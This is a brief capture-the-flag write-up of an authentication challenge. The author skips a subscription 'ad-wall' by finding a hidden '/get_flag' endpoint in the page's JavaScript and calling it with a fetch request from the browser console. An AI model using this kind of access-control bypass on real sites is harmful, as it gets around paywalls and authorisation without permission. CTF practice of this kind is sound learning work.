

TOPIC: AUTH

I entered the landing page and it seems I'm blocked by an "ad-wall" and I need some kind of subscription to get in and grab the flag, can't click anything but there's clues in the HTML document..

So, should I walk the intended path or look for something that might be easier? Let's see what we can find in the .js file instead!

Oh, looks like we found our easy way? This is what it's all about, digging and searching for possible workarounds. So what happens if we try fetch that from the console with something like:

```
fetch('/get_flag', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
})
.then(response => response.json())
.then(data => {
  if (data.flag) {
    console.log(data.flag);
  }
});
```

```
> fetch('/get_flag', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
})
.then(response => response.json())
.then(data => {
  if (data.flag) {
    console.log(data.flag);
  }
});
```

◀ ▶ Promise {status: "pending"} = \$1

That did the trick! Fun to get flags the "unintended" way.
